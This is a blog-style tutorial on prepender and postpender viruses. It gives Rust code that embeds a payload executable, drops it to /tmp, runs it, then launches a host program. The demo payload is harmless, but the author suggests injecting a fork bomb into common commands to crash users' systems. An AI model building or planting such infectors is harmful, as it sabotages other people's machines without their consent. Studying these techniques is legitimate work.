Prependers and Postpenders

Binary modifying viruses

What's a prepender you ask? Well, at the time of writing this section, I found an article by @guitmz titled: "Linux.Fe2O3: a Rust virus" while looking for malware written in Rust (PoC mostly). This is where I encountered the term "prepender". As the name suggests the program aims to pre-append something to something. Long story short, it's essentially a kind of binary-infector/code-injector. A prepender injects some binary instructions at the beginning of the program, while a postpender would inject the same at the end of the program. Sounds lame, but it can really do some damage if paired with other types of malware.

Anyways, this is a nice bit of insight on how one may inject binary instructions into an executable (not quite that since we're literally just placing them on one side of the executable rather than actually injecting them) and cause it to do all kinda cool stuff, heck, you can probably compile a fork bomb and inject those instructions straight into something common like cat or explorer.exe and enjoy the show! Every time the user would try and use these basic commands, their systems would hang/crash.

As @guitmz mentions in his blog, A prepender works by appending its code to the start of the host file, and during execution, it runs itself and the host file. There're a lot of ways we could go about making a prepended program. It's usually useful to have a look at how stuff could be done before implementing an automated solution. Here are some of the approaches:

  1. We could manually extract binary instructions from the target and payload executable files and hard code them into a single program, which can then be compiled and replace the target program.

  2. As done in the blog, we could make a temporary file and then insert the payload's instructions first, followed by the target program's instructions. This can be run when we run the prepender program.

  3. We could just prepend the payload instructions to the target, thus permanently changing/modifying the target (destructive approach)

  4. Make a self-modifying program that uses some sort of shellcode-y approach to modify itself so as to integrate the target and payload instructions within itself and destroy itself once the program execution is done. (self-destructive program)

To keep things simple and to get some content out there, I'll just do a blend of Approach 2 and Approach 3. Here's how it works:

  • Get the payload instructions

  • Write the payload instructions to a temporary file and execute it.

  • Execute the target program.

I'm making it so that it does not modify either the payload or the target. However, we can make a slight change and make it into a destructive approach (keep reading if you wanna know 😉)

Let's keep the target and payload programs simple:

// payload.c
#include <stdio.h>

int main() {
    printf("INFECTED!!\n");
    return 0;
}
// host.c (The target)
#include <stdio.h>

int main() {
    printf("Target executed\n");
    return 0;
}

These could quickly be compiled like so:

$ make payload host
cc     payload.c -o payload
cc     host.c    -o host

I too, will be using the good ol' rust (I'm currently working on a zig implementation but that language documentation will be the end of me). First comes including the instructions from the payload using the std::include_bytes! macro:

let bytes = include_bytes!("PATH_TO_PAYLOAD_EXECUTABLE");

You can also manually read the file too, but this is simpler and easier so I'm using it :P

Next, we need some program logic that places this data into a temporary file and executes it. Here's what I have for that:

fn execute_payload(b: &'static [u8]) {
    let mut options = OpenOptions::new();
    
    options.create(true);
    options.write(true);
    options.mode(0o755);

    let mut payload_file = match options.open("/tmp/payload") {
        Ok(v) => v,
        Err(e) => {
            panic!("{:#?}", e);
        },
    }; 
    // Just for the sake of debugging ngl, 
    // it'd be better to remove the match 
    // and just quietly unwrap.
    payload_file.write_all(b).unwrap();
    payload_file.sync_all().unwrap();
    payload_file.flush().unwrap();
    
    drop(payload_file);
    Command::new("/tmp/payload").spawn().unwrap();
    std::fs::remove_file("/tmp/payload").unwrap();
}

Using this, we can quickly execute the payload with:

execute_payload(bytes);

Next comes the execution of the target/host executable:

Command::new("PATH_TO_TARGET").spawn().unwrap();

So the final program looks something like:

use std::io::prelude::*;
use std::fs::OpenOptions;
use std::process::Command;
use std::os::unix::fs::OpenOptionsExt;

fn main() { 
    let bytes = include_bytes!("payload");
    
    execute_payload(bytes);
    Command::new("host").spawn().unwrap();
}

fn execute_payload(b: &'static [u8]) {
    let mut options = OpenOptions::new();
    
    options.create(true);
    options.write(true);
    options.mode(0o755);

    let mut payload_file = match options.open("/tmp/payload") {
        Ok(v) => v,
        Err(e) => {
            panic!("{:#?}", e);
        },
    };
    payload_file.write_all(b).unwrap();
    payload_file.sync_all().unwrap();
    payload_file.flush().unwrap();
    
    drop(payload_file);
    Command::new("/tmp/payload").spawn().unwrap();
    std::fs::remove_file("/tmp/payload").unwrap();
}

That's all! Here's the Cargo.toml file:

[package]
name = "prepender"
version = "0.1.0"
edition = "2021"

[profile.release]
opt-level = 'z'     # Optimize for size
lto = true          # Enable link-time optimization
codegen-units = 1   # Reduce number of codegen units to increase optimizations
panic = 'abort'     # Abort on panic
strip = true        # Strip symbols from binary*

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]

If you're curious about the release profile, check this SO post and this GitHub repo. But when we run the program, we can see that the payload is successfully executed before the target:

$ cargo build --release
   Compiling prepender v0.1.0 ($HOME/Projects/prepender)
    Finished release [optimized] target(s) in 2.57s
$ ./target/debug/prepender
INFECTED!!
Target executed

An improvement to this would be to include the instructions from the target rather than the payload, this way, we can replace the target. For converting this into a postpender, simply move the execute_payload function call, like so:

- execute_payload(bytes);
- Command::new("host").spawn().unwrap();
    
+ Command::new("host").spawn().unwrap().try_wait();
+ execute_payload(bytes);

Also, the extra try_wait is just for good measure since it's possible that our payload may get executed before the host/target finishes executing.

Be sure to be on a lookout for the zig implementation~

References

Last updated